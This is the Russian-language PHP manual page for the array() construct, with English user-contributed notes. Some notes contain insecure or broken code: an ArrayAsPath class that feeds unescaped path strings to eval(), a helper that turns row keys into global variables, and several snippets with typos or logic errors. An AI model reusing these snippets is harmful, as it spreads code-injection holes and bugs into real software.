Список параметров

values

Синтаксис — разделённые запятыми «индекс => значения», определяет индексы и значения. Индекс разрешено указывать строкой или целым числом. Если индекс не указан, будет автоматически сгенерирован целочисленный индекс начиная с 0. Если индекс — целое число, следующим сгенерированным индексом будет — наибольший целочисленный индекс + 1. Обратите внимание, что если определены два одинаковых индекса, следующий перезапишет предыдущий.

Замыкающая (висящая) запятая после последнего элемента массива хотя и необычна, но не нарушает синтаксиса.

Возвращаемые значения

Возвращает массив параметров. Задать параметрам индекс можно оператором =>. Подробнее о массивах рассказано в разделе «Массивы».

Примеры

Следующие примеры показывают, как создавать двумерный массив, как определять ключи ассоциативных массивов и как пропустить и продолжить числовые индексы в обычных массивах, если нумерация начинается с произвольного числа.

Пример #1 Пример использования языковой конструкции array()

<?php

$fruits = array (
"fruits" => array("a" => "апельсин", "b" => "банан", "c" => "яблоко"),
"numbers" => array(1, 2, 3, 4, 5, 6),
"holes" => array("первый", 5 => "второй", "третий")
);
?>

Пример #2 Автоматическая индексация при вызове конструкции array()

<?php

$array = array(1, 1, 1, 1, 1, 8 => 1, 4 => 1, 19, 3 => 13);
print_r($array);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => 1
    [1] => 1
    [2] => 1
    [3] => 13
    [4] => 1
    [8] => 1
    [9] => 19
)

Обратите внимание, что индекс «3» определён дважды, и содержит последнее значение — 13. Индекс 4 определён после индекса 8, а следующий сгенерированный индекс (значение 19) — 9, поскольку самым большим индексом был 8.

Этот пример создаёт массив, нумерация которого начинается с 1.

Пример #3 Пример создания конструкцией array() массива, нумерация которого начинается с 1

<?php

$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

Результат выполнения приведённого примера:

Array
(
    [1] => January
    [2] => February
    [3] => March
)

Как и в Perl, разработчику доступны значения массива внутри двойных кавычек. Однако в PHP нужно заключить массив в фигурные скобки.

Пример #4 Доступ к массиву внутри двойных кавычек

<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>

Примечания

Замечание:

array() — конструкция языка для представления литеральных массивов, а не обычная функция.

Смотрите также

  • array_pad() - Дополняет массив значением до заданной длины
  • list() - Присваивает переменным значения похожим на массивы синтаксисом
  • count() - Подсчитывает количество элементов в массиве или в объекте Countable
  • range() - Создаёт массив, содержащий диапазон элементов
  • foreach
  • Тип массив

User Contributed Notes

razvan_bc at yahoo dot com 18-May-2020 06:49
an array can execute code.
i try this on php 7.4 (xampp version)

<?php

[
     $msg='HI GUYS !'
    ,print ($msg)
    ,(function()use ($msg){
        print 'here is php';
    })()
    ,print ' I`m just an array ,alive one'
];

?>
ayyappan dot ashok at gmail dot com 18-Apr-2016 06:26
The code bellow by dave@wp.pl:

$var_name='var';
$var=array(0,1,2,3,4);
echo $$var_name[2];

//prints NOTHING instead 2.
// prints 2 with PHP version 7.01 onwards

Note :
This results 2 with PHP version 7.01 onwards. Other versions throws a notice error
majkel 20-Apr-2015 09:13
During initialization php parses every value as expression. One can declare variables, do calculations, or even manipulate "current" array

<?php

$arr['A'] = [
    &$arr, // circular reference
    'key' => 'val',
    $arr['B'] = [ // declare array, insert key and then value
        'a' => 'b',
    ],
    ucfirst(strtolower('SOME TEXT')),
    true ? 'TRUE' : 'FALSE', // evaluate expression
    $x  = 3, // declare variable
    $x *= 3, // perform calculations
];

var_dump($arr);

// Output
/*
array(2) {
  'B' => array(1) {
    'a' => string(1) "b"
  }
  'A' => array(7) {
    [0] => array(2) {
      'B' => array(1) {
        ...
      }
      'A' => &array
    }
    'key' => string(3) "val"
    [1] => array(1) {
      'a' => string(1) "b"
    }
    [2] => string(9) "Some text"
    [3] => string(4) "TRUE"
    [4] => int(3)
    [5] => int(9)
  }
}
*/
?>
dave at wp dot pl 27-Feb-2015 03:55
The code bellow:

$var_name='var';
$var=array(0,1,2,3,4);
echo $$var_name[2];

prints NOTHING instead 2.
ole dot aanensen at gmail dot com 10-Jun-2014 08:13
As of PHP 5.4.x you can now use 'short syntax arrays' which eliminates the need of this function.

Example #1 'short syntax array'
<?php
    $a = [1, 2, 3, 4];
    print_r($a);
?>

The above example will output:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

Example #2 'short syntax associative array'
<?php
    $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];
    print_r($a);
?>

The above example will output:
Array
(
    [one] => 1
    [two] => 2
    [three] => 3
    [four] => 4
)
sergei dot solomonov at gmail dot com 02-Oct-2013 08:53
Consider:
file inc1.php
-------------
<?php
return 'key';

file inc2.php
-------------
<?php
return 'value';

Test:
<?php
$a = [
    include 'inc1.php' => include 'inc2.php'
];
var_dump($a);

/* It works!!!
array(1) {
  'key' =>
  string(5) "value"
}
*/
qeremy 07-Mar-2012 02:50
Some tricky functions;

<?php
function is_array_assoc($arr) {
    if (is_array($arr)) {
        foreach ($arr as $k => $v) {
            if (is_string($k) || (is_int($k) && $k < 0)) {
                return 1;
            }
        }
        return 0;
    }
    return -1;
}

function is_array_multi($arr) {
    return is_array($arr)
        ? (count($arr) != count($arr, COUNT_RECURSIVE) ? 1 : 0)
        : -1;
}

$arr[] = array("foo", "bar", 1.09);
$arr[] = array("red", "yellow", 1 => "foo");
$arr[] = array("red", "yellow", -1 => "foo");
$arr[] = array("x" => array("red", "yellow"), "y" => array("one", "two"));
$arr[] = array();
$arr[] = "s";

foreach ($arr as $a) {
    echo is_array_assoc($a) ."\n";
}
echo "\n";
foreach ($arr as $a) {
    echo is_array_multi($a) ."\n";
}
?>

0
0
1
1
0
-1

0
0
0
1
0
-1

<?php
function array_count($arr) {
    $r = 0;
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r++;
        }
    }
    return $r;
}

function array_count_all($arr, $r = 0) {
    foreach ($arr as $k => $v) {
        if (is_array($v)) {
            $r = array_count_all($v, $r);
            $r++;
        }
    }
    return $r;
}

$a = array("foo", "bar", 1.09, array(1,2,3), array("a" => "aaa"));
echo array_count($a); // 2

$a = array(
    "foo", "bar", 1.09,
    "x" => array(1,2,3),
    array("a" => "aaa", "b" => array(), "c" => array(""), "d" => array("")),
    "e" => array(""),
    "z" => array(""),
    "q" => array("", array()),
    "w" => array("lorem", 1 => "impsum", 18, "dolor", array("last as 11th array"))
);
echo array_count_all($a); // 11
?>
r0h4rd at gmail dot com 06-Feb-2011 02:59
"Quick and dirty" class to get an offset of multidimensional array by given path (sorry, that without comments).

<?php

    class ArrayAsPathException extends Exception {}

    class ArrayAsPath {
        protected
            $data = array(),
            $separator = '.';

        public function __construct (array $data = array()) {
            $this->data = $data;
        }

        public function set ($value, $path = null) {
            if (!isset($path)) {
                $this->data = $value;
            }

            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            $code = '';
            $pices = '[\''.$pathtoken.'\']';
            while ($pathtoken !== false) {
                if (($pathtoken = strtok($separator)) !== false) {
                    $code .= 'if (!isset($this->data'.$pices.')) $this->data'.$pices.' = array(); ';
                    $pices .= '[\''.$pathtoken.'\']';
                } else {
                    $code .= 'return $this->data'.$pices.' = $value;';
                }
            }

            return eval($code);
        }

        public function get ($path = '', $default = null) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    if (isset($default)) {
                        return $default;
                    }

                    throw new ArrayAsPathException ('Can\'t find "'.$pathtoken.'" in "'.$path.'"');
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return $result ? $result : $default;
        }

        public function has ($path) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    return false;
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return true;
        }

        public function setSepatator ($separator) {
            $this->separator = $separator;
        }

        public function getSeparator ($separator) {
            return $this->separator;
        }
    }

?>

Code:
<?php

    $params = new ArrayAsPath;
    $params->set(array(
        'foo' => array(
            'bar' => array(
                'item' => 'Value'
            )
        )
    ));

    try {
        $params->set('test', 'foo.bar.far.new');
        printf(
            'Array:<pre>%s</pre>
            foo.bar.item:<pre>%s</pre>
            foo.bar.far:<pre>%s</pre>
            foo.bar.far.new<pre>%s</pre>',
            var_export($params->get(), true),
            var_export($params->get('foo.bar.item'), true),
            var_export($params->get('foo.bar.far'), true),
            var_export($params->get('foo.bar.far.new'), true)
        );
    } catch (ArrayAsPathException $e) {
        echo 'Oops! It seems that something is wrong. '.$e->getMessage();
    }

?>

Will display:
Array:
array (
  'foo' =>
  array (
    'bar' =>
    array (
      'item' => 'Value',
      'far' =>
      array (
        'new' => 'test',
      ),
    ),
  ),
)

foo.bar.item:
'Value'

foo.bar.far:
array (
  'new' => 'test',
)

foo.bar.far.new:
'test'
eugene at ultimatecms dot co dot za 03-Mar-2010 06:29
This is a useful way to get foreign key variables from a specific sql table.
This function can be used to include all relevant data from all relating tables:

<?php
function get_string_between($string, $start, $end){
         $string = " ".$string;
         $ini = strpos($string,$start);
         if($ini == 0)
                return $tbl;
         $ini += strlen($start);
         $len = strpos($string,$end,$ini) - $ini;
         return substr($string,$ini,$len);
}

function get_foreign_keys($tbl) {
        $query = query_getrow("SHOW CREATE TABLE ".mysql_escape_string($tbl));

        $dat = explode('CONSTRAINT',$query[1]);
        foreach($dat as $d => $a) {
                if(strpos($a,"FOREIGN KEY"))
                $data['keys'][] = array($tbl,get_string_between($a,"` FOREIGN KEY (`","`) REFERENCES"));
        }

        foreach($dat as $d => $a) {
                if(strpos($a,"REFERENCE"))
                $data['references'][] = explode('` (`',get_string_between($a,"REFERENCES `","`) ON"));
        }
        return $data;
}

//Example code:

        $data = get_foreign_keys('task_table');
        echo '<pre>';
        print_r($data);
        echo '</pre>';

?>

// $query[1] outputs:

CREATE TABLE `task_table` (
  `task_id` int(64) NOT NULL auto_increment,
  `ticket_id` int(64) NOT NULL,
  `task_type` varchar(64) NOT NULL,
  `comment` text,
  `assigned_to` int(11) default NULL,
  `dependant` int(64) default NULL,
  `resolved` int(1) default NULL,
  PRIMARY KEY  (`task_id`),
  KEY `ticket_id` (`ticket_id`,`dependant`),
  KEY `assigned_to` (`assigned_to`),
  KEY `task_dependant` (`dependant`),
  CONSTRAINT `task_table_ibfk_1` FOREIGN KEY (`ticket_id`) REFERENCES `tickets_table` (`ticket_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_2` FOREIGN KEY (`assigned_to`) REFERENCES `contact_table` (`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_3` FOREIGN KEY (`dependant`) REFERENCES `task_table` (`task_id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=latin1

// $data outputs:
Array (
    [keys] => Array
        (
            [0] => Array
                (
                    [0] => task_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => task_table
                    [1] => assigned_to
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => dependant
                )
        )

    [references] => Array
        (
            [0] => Array
                (
                    [0] => tickets_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => contact_table
                    [1] => contact_id
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => task_id
                )
        )
)
kamil at navikam dot pl 03-Jun-2009 03:42
Easy function to unarray an array :-)
It will make $array['something'] => $something.
Usefull for making code more clear.

example of use:
<?
function unarray($row) {
    foreach($row as $key => $value) {
        global $$key;
        $$key = $value;
    }
}

$sql = mysql_query("SELECT * FROM `pracownicy`");
while ($row = mysql_fetch_assoc($sql)) {
    unarray($row);
    echo $idpracownika.'<br>'; //instead of $row['idpracownika']
}
?>
Marcel G 27-Apr-2009 03:49
I encountered the following but didn't see it documented/reported anywhere so I'll just mentioned it here.

As written in the manual:
"When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1".

This generated index has always the largest integer used as a key so far. So adding $a[5] = 'foo'; after an $a[10] = 'bar'; will not force the next generated index to be 6 but to be 11 as 10 was the highest index encountered until here.

Anyway, the following can happen:
<?php
$max_int = 2147483647; // Max value for integer on a 32-bit system
$arr = array();

$arr[1] = 'foo'; // New generated index will be 2
$arr[ $max_int ] = 'bar'; // Caution: Next generated index will be -2147483648 due to the integer overflow!
$arr[0] = 'bar'; // The highest value should be 2147483648 but due to the i-overflow it is -2147483648 so current index 0 is larger. The new generated index therefore is 1!
$arr[]  = 'failure'; // Warning: Cannot add element to the array as the next element is already occupied.
?>
jonberglund at gmail dot com 07-Jul-2008 09:25
The following function (similar to one above) will render an array as a series of HTML select options (i.e. "<option>...</option>"). The problem with the one before is that there was no way to handle <optgroup>, so this function solves that issue.

function arrayToSelect($option, $selected = '', $optgroup = NULL)
{
    $returnStatement = '';

    if ($selected == '') {
        $returnStatement .= '<option value="" selected="selected">Select one...</option>';
    }

    if (isset($optgroup)) {
        foreach ($optgroup as $optgroupKey => $optgroupValue) {
            $returnStatement .= '<optgroup label="' . $optgroupValue . '">';

            foreach ($option[$optgroupKey] as $optionKey => $optionValue) {
                if ($optionKey == $selected) {
                    $returnStatement .= '<option selected="selected" value="' . $optionKey . '">' . $optionValue . '</option>';
                } else {
                    $returnStatement .= '<option value="' . $optionKey . '">' . $optionValue . '</option>';
                }
            }

            $returnStatement .= '</optgroup>';
        }
    } else {
        foreach ($option as $key => $value) {
            if ($key == $selected) {
                $returnStatement .= '<option selected="selected" value="' . $key . '">' . $value . '</option>';
            } else {
                $returnStatement .= '<option value="' . $key . '">' . $value . '</option>';
            }
        }
    }

    return $returnStatement;
}

 So, for example, I needed to render a list of states/provinces for various countries in a select field, and I wanted to use each country name as an <optgroup> label. So, with this function, if only a single array is passed to the function (i.e. "arrayToSelect($stateList)") then it will simply spit out a bunch of "<option>" elements. On the other hand, if two arrays are passed to it, the second array becomes a "key" for translating the first array.

Here's a further example:

$countryList = array(
    'CA'        => 'Canada',
    'US'        => 'United States');

$stateList['CA'] = array(
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'MB'        => 'Manitoba',
    'NB'        => 'New Brunswick',
    'NL'        => 'Newfoundland/Labrador',
    'NS'        => 'Nova Scotia',
    'NT'        => 'Northwest Territories',
    'NU'        => 'Nunavut',
    'ON'        => 'Ontario',
    'PE'        => 'Prince Edward Island',
    'QC'        => 'Quebec',
    'SK'        => 'Saskatchewan',
    'YT'        => 'Yukon');

$stateList['US'] = array(
    'AL'        => 'Alabama',
    'AK'        => 'Alaska',
    'AZ'        => 'Arizona',
    'AR'        => 'Arkansas',
    'CA'        => 'California',
    'CO'        => 'Colorado',
    'CT'        => 'Connecticut',
    'DE'        => 'Delaware',
    'DC'        => 'District of Columbia',
    'FL'        => 'Florida',
    'GA'        => 'Georgia',
    'HI'        => 'Hawaii',
    'ID'        => 'Idaho',
    'IL'        => 'Illinois',
    'IN'        => 'Indiana',
    'IA'        => 'Iowa',
    'KS'        => 'Kansas',
    'KY'        => 'Kentucky',
    'LA'        => 'Louisiana',
    'ME'        => 'Maine',
    'MD'        => 'Maryland',
    'MA'        => 'Massachusetts',
    'MI'        => 'Michigan',
    'MN'        => 'Minnesota',
    'MS'        => 'Mississippi',
    'MO'        => 'Missouri',
    'MT'        => 'Montana',
    'NE'        => 'Nebraska',
    'NV'        => 'Nevada',
    'NH'        => 'New Hampshire',
    'NJ'        => 'New Jersey',
    'NM'        => 'New Mexico',
    'NY'        => 'New York',
    'NC'        => 'North Carolina',
    'ND'        => 'North Dakota',
    'OH'        => 'Ohio',
    'OK'        => 'Oklahoma',
    'OR'        => 'Oregon',
    'PA'        => 'Pennsylvania',
    'RI'        => 'Rhode Island',
    'SC'        => 'South Carolina',
    'SD'        => 'South Dakota',
    'TN'        => 'Tennessee',
    'TX'        => 'Texas',
    'UT'        => 'Utah',
    'VT'        => 'Vermont',
    'VA'        => 'Virginia',
    'WA'        => 'Washington',
    'WV'        => 'West Virginia',
    'WI'        => 'Wisconsin',
    'WY'        => 'Wyoming');

...

<select name="state" id="state"><?php echo arrayToSelect($stateList,'',$countryList) ?></select>
<select name="country" id="country"><?php echo arrayToSelect($countryList,'US') ?></select>
sebasg37 at gmail dot com 12-Feb-2008 11:32
Recursive function similar to print_r for describing anidated arrays in html <ol>. Maybe it's useful for someone.

<?php
function describeAnidatedArray($array)
{
    $buf = '';
    foreach($array as $key => $value)
    {
        if(is_array($value))
        {
            $buf .= '<ol>' . describeAnidatedArray($value) . '</ol>';
        }
        else
            $buf .= "<li>$value</li>";
    }
    return $buf;
}

// Example:
$array = array("a", "b", "c", array("1", "2", array("A", "B")), array("3", "4"), "d");

echo describeAnidatedArray($array);
?>

output:

# a
# b
# c

   1. 1
   2. 2
         1. A
         2. B

   1. 3
   2. 4

# d
jon hohle 16-Nov-2007 05:12
Here are shorter versions of sam barrow's functions. From a PHP perspective these are O(1) (without getting into what's going on in the interpreter), instead of O(n).

<?php
function randomKey(array $array)
{
    return randomElement(array_keys($array));
}

function randomElement(array $array)
{
    if (count($array) === 0)
    {
        trigger_error('Array is empty.',  E_USER_WARNING);
        return null;
    }

    $rand = mt_rand(0, count($array) - 1);
    $array_keys = array_keys($array);

    return $array[$array_keys[$rand]];
}
?>
Mike Mackintosh 29-Oct-2007 09:38
If you need to add an object as an array key, for example an object from Simple XML Parser, you can use the following.

File.XML
<?xml version="1.0" encoding="UTF-8"?>
<Settings type="General">
  <Setting name="SettingName">This This This</Setting>
</Settings>

The script:
<?php
$raw = $xml =  new SimpleXMLElement('File.XML');
foreach($raw->Setting as $A => $B)
{
    // Set Array From XML
    $Setting[(string) $B['name']] = (string)  $B[0];
}
?>
By telling the key to read the object as a string, it will let you set it.

Hope this helps someone out!
webmaster at phpemailformprocessor dot com 06-Aug-2006 09:48
When using an array to create a list of keys and values for a select box generator which will consist of states I found using "NULL" as an index and ""(empty value) as a value to be useful:

<?php

$states = array(
    0    => 'Select a State',
    NULL => '',
    1    => 'AL - Alabama',
    2    => 'AK - Alaska',
    # And so on ...
);

$select = '<select name="state" id="state" size="1">'."\r\n";

foreach($states as $key => $value){
    $select .= "\t".'<option value="'.$key.'">' . $value.'</option>'."\r\n";
}

$select .= '</select>';

echo $select;

?>

 This will print out:

<select name="state" id="state" size="1">
    <option value="0">Select a State</option>
    <option value=""></option>
    <option value="1">AL - Alabama</option>
    <option value="2">AK - Alaska</option>
    # And so on ...

</select>

Now a user has a blank value to select if they later decide to not provide their address in the form. The first two options will return TRUE when checked against the php function - EMPTY() after the form is submitted when processing the form
jupiter at nospam dot com 02-Jun-2006 03:33
<?php

// changes any combination of multiarray elements and subarrays
// into a consistent 2nd level multiarray, tries to preserves keys
function changeMultiarrayStructure($multiarray, $asc = 1) {
  if ($asc == 1) {  // use first subarrays for new keys of arrays
    $multiarraykeys = array_reverse($multiarray, true);
  } else {  // use the last array keys
    $multiarraykeys = $multiarray;  // use last subarray keys
  }  // end array reordering
  $newarraykeys = array();  // establish array
  foreach ($multiarraykeys as $arrayvalue) {  // build new array keys
    if (is_array($arrayvalue)) {  // is subarray an array
      $newarraykeys = array_keys($arrayvalue) + $newarraykeys;
    }  // if count(prevsubarray)>count(currentarray), extras survive
  }  // end key building loop
  foreach ($multiarray as $newsubarraykey => $arrayvalue) {
    if (is_array($arrayvalue)) {  // multiarray element is an array
      $i = 0;  // start counter for subarray key
      foreach ($arrayvalue as $subarrayvalue) {  // access subarray
        $newmultiarray[$newarraykeys[$i]][$newsubarraykey] = $subarrayvalue;
        $i++;  // increase counter
      }  // end subarray loop
    } else {  // multiarray element is a value
      foreach ($newarraykeys as $newarraykey) {  // new subarray keys
        $newmultiarray[$newarraykey][$newsubarraykey] = $arrayvalue;
      }  // end loop for array variables
    }  // end conditional
  }  // end new multiarray building loop
  return $newmultiarray;
}

// will change
$old = array('a'=>1,'b'=>array('e'=>2,'f'=>3),'c'=>array('g'=>4),'d'=>5);
// to
$new = array('e'=>array('a'=>1,'b'=>2,'c'=>4,'d'=>5),
  'f'=>array('a'=>1,'b'=>3,'d'=>5));

// note: if $asc parameter isn't default, last subarray keys used

?>

The new key/value assignment pattern is clearer with bigger arrays.
I use this to manipulate input/output data from my db. Enjoy.
bill at carneyco dot com 02-Feb-2006 08:42
I wanted to be able to control the flow of data in a loop instead of just building tables with it or having to write 500 select statements for single line items. This is what I came up with thanks to the help of my PHP brother in FL. Hope someone else gets some use out it.
<?

//set array variable
$results = array();

//talk to the db
$query = "SELECT * FROM yourtable";
$result = mysql_query($query) or die(mysql_error());

//count the rows and fields
$totalRows = mysql_num_rows($result);
$totalFields = mysql_num_fields($result);

//start the loop
for ( $i = 0; $i < $totalRows; ++$i ) {

//make it 2 dim in case you change your order
  $results[$i] = mysql_fetch_array($result);

//call data at will controlling the loop with the array
echo $results[your_row_id]['your_field_name']; }

//print the entire array to see what lives where
print_r($results);  ?>
php 07-Jan-2006 03:30
This function converts chunks of a string in an array:

function array_str($str, $len) {
  $newstr = '';
  for($i = 0; $i < strlen($str); $i++) {
    $newstr .= substr($str, $i, $len);
  }
  return $newstr;
}

use it as:

$str = "abcdefghilmn";
echo "<table width=\"100%\">\n";
foreach(array_str($str, 4) as $chunk) {
  echo "<tr><td>".$chunk."</td></tr>\n";
}
echo "</table>";

this prints:

------
abcd
------
efgh
------
ilmn
------

It don't use regular expressions. Please add this function to php :)
matthiasDELETETHIS at ansorgs dot de 31-May-2005 02:52
How to use array() to create an array of references rather than of copies? (Especially needed when dealing with objects.) I played around somewhat and found a solution: place & before the parameters of array() that shall be references. My PHP version is 4.3.10.

Demonstration:

<?php
$ref1 = 'unchanged';
$ref2 = & $ref1;

$array_of_copies = array($ref1, $ref2);
print_r($array_of_copies); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_copies[0] = 'changed'; // $ref1 = 'changed'; is not equivalent, as it was _copied_ to the array
print_r($array_of_copies); // prints: Array ( [0] => changed [1] => unchanged )

$array_of_refs = array(& $ref1, & $ref2); // the difference: place & before arguments
print_r($array_of_refs); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_refs[0] = 'changed'; // $ref1 = 'changed'; is equivalent as $array_of_refs[0] references $ref1
print_r($array_of_refs, true); // prints: Array ( [0] => changed [1] => changed )
?>
aissatya at yahoo dot com 16-May-2005 01:48
<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>
<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>
<?php
$fruits = array (
   "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
   "numbers" => array(1, 2, 3, 4, 5, 6),
   "holes"  => array("first", 5 => "second", "third")
);
?>
brian at blueeye dot us 21-Apr-2005 05:34
If you need, for some reason, to create variable Multi-Dimensional Arrays, here's a quick function that will allow you to have any number of sub elements without knowing how many elements there will be ahead of time. Note that this will overwrite an existing array value of the same path.

<?php
// set_element(array path, mixed value)
function set_element(&$path, $data) {
    return ($key = array_pop($path)) ? set_element($path, array($key=>$data)) : $data;
}
?>

For example:

<?php
echo "<pre>";
$path = array('base', 'category', 'subcategory', 'item');
$array = set_element($path, 'item_value');
print_r($array);
echo "</pre>";
?>

Will display:
Array
(
    [base] => Array
        (
            [category] => Array
                (
                    [subcategory] => Array
                        (
                            [item] => item_value
                        )
                )
        )
)
mortoray at ecircle-ag dot com 18-Feb-2005 05:35
Be careful if you need to use mixed types with a key of 0 in an array, as several distinct forms end up being the same key:

$a = array();
$a[null] = 1;
$a[0] = 2;
$a['0'] = 3;
$a["0"] = 4;
$a[false] = 5;
$a[0.0] = 6;
$a[''] = 7;
$a[] = 8;

print_r( $a );

This will print out only 3 values: 6, 7, 8.
rdude at fuzzelish dot com 17-Feb-2005 01:35
If you are creating an array with a large number of static items, you will find serious performance differences between using the array() function and the $array[] construct. For example:
<?
 // Slower method
 $my_array = array(1, 2, 3, ? 500);

 // Faster method
 $my_array[] = 1;
 $my_array[] = 2;
 $my_array[] = 3;
 ?
 $my_array[] = 500;
?>
phpm at nreynolds dot me dot uk 11-Jan-2005 08:24
This helper function creates a multi-dimensional array. For example, creating a three dimensional array measuring 10x20x30: <?php $my_array = multi_dim(10, 20, 30); ?>

<?php

function multi_dim()
{
    $fill_value = null;

    for ($arg_index = func_num_args() - 1; $arg_index >= 0; $arg_index--) {
        $dim_size = func_get_arg($arg_index);
        $fill_value = array_fill(0, $dim_size, $fill_value);
    }

    return $fill_value;
}

?>
baZz 16-Oct-2003 03:27
Chek this out!!!. Suppose that you want to create an array like the following:
<?php
  $arr1 = (
    0 => array ("customer"=>"Client 1","Item a"),
    1 => array ("customer"=>"Client 2","Item b")
  );
?>
Seems prety easy, but what if you want to generate it dinamically woops!!!.  Imagine that you have a file with thousands of lines and each line is a purchase order from diferent clients:
<?php
/*function to add elements*/
function addArray(&$array, $id, $var)
{
    $tempArray = array( $var => $id);
    $array = array_merge ($array, $tempArray);
}
/*The same as above but the element is an array*/
function addArrayArr(&$array, $var, &$array1)
{
    $tempArray = array($var => $array1);
    $array = array_merge ($array, $tempArray);
}
/*labels of our array or heders of the file*/
$keyarr = array("customer","item");
/*info that may you read from a file line 1 and 2*/
$valarr0 = array("Client 1","Item a");
$valarr1 = array("Client 2","Item b");

$numofrows = 2;/*In our case is just two lines*/
$tmpArray = array();
for($i = 0; $i < $numofrows; $i++){
  $tmp = "valarr$i";
  $tmpvar = ${$tmp};/*Using var of vars tricky tricky*/
  foreach( $keyarr as $key=>$value){
    addArray($tmparr,$tmpvar[$key],$value);
  }
  addArrayArr($finalarr,$i,$tmparr);
} /*voila all it's perfectly ordered on finalarr*/

/*Here we just print the info but you can insert it into a database*/
echo "Customer: ".$finalarr[0]["customer"]."<br>";
echo "Item: ".$finalarr[0]["item"]."<br>";
echo "Customer: ".$finalarr[1]["customer"]."<br>";
echo "Item: ".$finalarr[1]["item"]."<br>";
?>

The lines above should print something like:
Customer: Client 1
Item: Item a
Customer: Client 2
Item: Item b
I hope someone find this useful.
TCross1 at hotmail dot com 03-Sep-2003 12:38
here is the sort of "textbook" way to output the contents of an array which avoids using foreach() and allows you to index & iterate through the array as you see fit:

<?php

$arrayName = array("apples", "bananas", "oranges", "pears");
$arrayLength = count($arrayName);

for ($i = 0; $i < $arrayLength; $i++){
    echo "arrayName at[" . $i . "] is: [" .$arrayName[$i] . "]<br>\n";
}

?>

enjoy!

-tim
10-May-2003 03:53
Similarly to a comment by stlawson at sbcglobal dot net on this page:
http://www.php.net/basic-syntax.instruction-separation

It is usually advisable to define your arrays like this:
$array = array(
     'foo',
     'bar',
);

Note the comma after the last element - this is perfectly legal. Moreover,
it's best to add that last comma so that when you add new elements to the
array, you don't have to worry about adding a comma after what used to be
the last element.

<?php
$array = array(
     'foo',
     'bar',
     'baz',
);
?>
marcel at labor-club dot de 24-Feb-2003 07:58
i tried to find a way to create BIG multidimensional-arrays. but the notes below only show the usage of it, or the creation of small arrays like $matrix=array('birne', 'apfel', 'beere');

for an online game, i use a big array (50x80) elements.
it's no fun, to write the declaration of it in the ordinary way.

here's my solution, to create an 2d-array, filled for example with raising numbers.

<?php
$matrix=array();
$sx=30;
$sy=40;
$i=1;
for ($y=0; $y<$sy; $y++)
{
    array_push($matrix,array());
    for ($x=0; $x<$sx; $x++)
    {
        array_push($matrix[$y],array());
        $matrix[$x][$y]=$i;
        $i++;
    }
}
?>

if there is a better way, plz send an email. i always want to learn more php!
MadLogic at Paradise dot net dot nz 31-Oct-2002 02:39
Heres a simple yet intelligent way of setting an array, grabbing the values from the array using a loop.

<?php
$ary = array("1"=>'One','Two',"3"=>'Three');
$a = '0'; $b = count($ary);
while ($a <= $b) {
  $pr = $ary[$a];
  print "$pr<br>";
  $a++;
}
?>
mads at __nospam__westermann dot dk 23-Oct-2002 07:39
In PHP 4.2.3 (and maybe earlier versions) arrays with numeric indexes may be initialized to start at a specific index and then automatically increment the index. This will save you having to write the index in front of every element for arrays that are not zero-based.

The code:

<?php
                  $a = array
        (
            21    => 1,
            2,
            3,
        );
    print '<pre>';
    print_r($a);
    print '</pre>';
?>

will print:

<?php
Array
(
    [21] => 1
    [22] => 2
    [23] => 3
)
?>
John 18-Jul-2002 11:48
Be careful not to create an array on top of an already existing variable:

<?php
$name = "John";
$name['last'] = "Doe";
?>

$name becomes "Dohn" since 'last' evaluates to the 0th position of $name.
Same is true for multi-arrays.
jay at ezlasvegas dot net 20-Apr-2002 04:21
If you want to create an array of a set size and you have PHP4, use
array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish
to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS,
$INITIAL_VALUE);

Jay Walker
Las Vegas Hotel Associate
http://www.ezlasvegas.net
jjm152 at hotmail dot com 10-Mar-2002 06:22
The easiest way to "list" the values of either a normal 1 list array or a multi dimensional array is to use a foreach() clause.

Example for 1 dim array:

<?php
   $arr = array( 1, 2, 3, 4, 5 );
   foreach ( $arr as $val ) {
       echo "Value: $Val\n";
      }
?>

For multi dim array:

<?php
     $arr = array( 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four, 5 => 'five');
      foreach ( $arr as $key => $value ) {
       echo "Key: $key, Value: $value\n";
      }
?>

This is quite possibly the easiest way i've found to iterate through an array.
tobiasquinteiro at ig dot com dot br 29-Jan-2002 12:25
<?
        // This is a small script that shows how to use an multiple array
        for($x = 0;$x < 10;$x++){
                for($y = 0;$y < 10;$y++){
                        $mat[$x][$y] = "$x,$y";
                }
        }

        for($x = 0;$x < count($mat);$x++){
                for($y = 0;$y < count($mat[$x]);$y++){
